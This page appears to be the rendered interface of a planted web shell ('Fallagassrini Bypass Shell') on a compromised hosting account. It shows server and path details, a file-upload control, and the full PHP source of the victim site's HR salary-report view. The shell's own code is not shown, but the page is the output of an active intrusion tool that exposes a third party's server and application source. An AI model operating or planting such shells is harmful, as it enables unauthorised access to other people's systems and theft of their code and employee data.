? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/drafthr/system/application/views/Report/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/drafthr/system/application/views/Report/hrsalaryemppdf.php

<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');?> <?php
 if(!$company)
    $images=base_url() .'logo/default_header.jpg';
else
{
         foreach($company as $company)
{
    $loggo=$company['filename'];
    $images=base_url() .'logo/'.$loggo;
   // echo $image;
}
}
 $html ='';
 $image = '<img src="'.$images.'" width="285px" height="100px">';
                $bullet = '<img src="'.base_url().'/assets/images/li_bullet.jpg" align="bottom">';
                $html='<html><head><body style="margin: 20px 20px 30px 20px;">
                    <table width="100%" border="0" cellpadding="2" cellspacing="2">
                <tr><td colspan="2" align="left">'.$image.'</td></tr></table><br/>';

                 $html.='<div style="text-align:center"><b><u>SALARY REPORT</u></b> </div><br/><br/>';


 if ($search == "")
            $search = 'search';
       if($fromdate == '')
            $fromdate = 'fromdate';
        if($todate=='')
            $todate = 'todate';



$stf=$this->mastermodel->get_data_srow('staffpersonaldetails',$search,'id');
$branchname = $this->mastermodel->get_newbranchname($search);





$html.='<table class="reportheader">

    <tr><td style="width:20%">Employee:</td><td>'.$stf->name.'</td></tr>
    <tr><td style="width:20%">Branch:</td><td>'.$branchname.'</td></tr>

    <tr><td style="width:20%">Period:</td><td> ';

    if ($todate != 'todate'){

     $html.=$fromdate.' to '.$todate ;
        
        
        }

$html.='</td></tr>

</table>
<table width="100%" class="sort" border="1" cellpadding="1" cellspacing="-1"><thead><tr>
                                  <th style="background-color:#80C0FF;">Sl No.</th>



                                                <th style="background-color:#80C0FF;">Employee Name</th>
                                                <th style="background-color:#80C0FF;"> Salary Month</th>
                                                 <th style="background-color:#80C0FF;width:10%">Pay Date</th>
                                                  <th style="background-color:#80C0FF;">Basic Salary</th>
                                                 <th style="background-color:#80C0FF;">Allowance</th>
                                                    <th style="background-color:#80C0FF;">Deduction</th>
                                                     <th style="background-color:#80C0FF;">Net Payment</th>
                                                     <th style="background-color:#80C0FF;">Commission</th>
                                                      <th style="background-color:#80C0FF;">Paid Amount</th>



        </tr></thead>';




$i=1;

if(count($viewinfo) > 0)
{
foreach($viewinfo as $row)
{


                $paydate = $this->mastermodel->convdatformat($row['pay_date']);

                $saldate=date("M d, Y",strtotime($row['salary_date']));

                $html.='<tr ><td>'.$i++.'</td><td>'.$row['name'].'</td>
                      <td>'.$saldate.'</td><td>'.$paydate.'</td>
                          <td style="text-align:right">'.number_format($row['basic_salary'],2).'</td><td style="text-align:right">'.number_format($row['allowance'],2).'</td>
                              <td style="text-align:right">'.number_format($row['deduction'],2).'</td><td style="text-align:right">'.number_format($row['netpayment'],2).'</td>
                                  <td style="text-align:right">'.number_format($row['commission'],2).'</td><td style="text-align:right">'.number_format($row['paidamount'],2).'</td>
                     </tr>';
}
}


$html.='</table>';



$footer=$this->reportmodel->getfootervalue();

    $html.='<script type="text/php">

      if ( isset($pdf) ) {
     $font = Font_Metrics::get_font("verdana", "normal");

      $pdf->page_text(75, 570, "'.$footer.'                    Page  {PAGE_NUM} of {PAGE_COUNT}", $font, 10, array(0,0,0));

      }
      </script>';

    $html.='</body></head></html>';
    //echo $html;

    pdf_create($html, 'Salary-Employee wise','true');

    ?>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net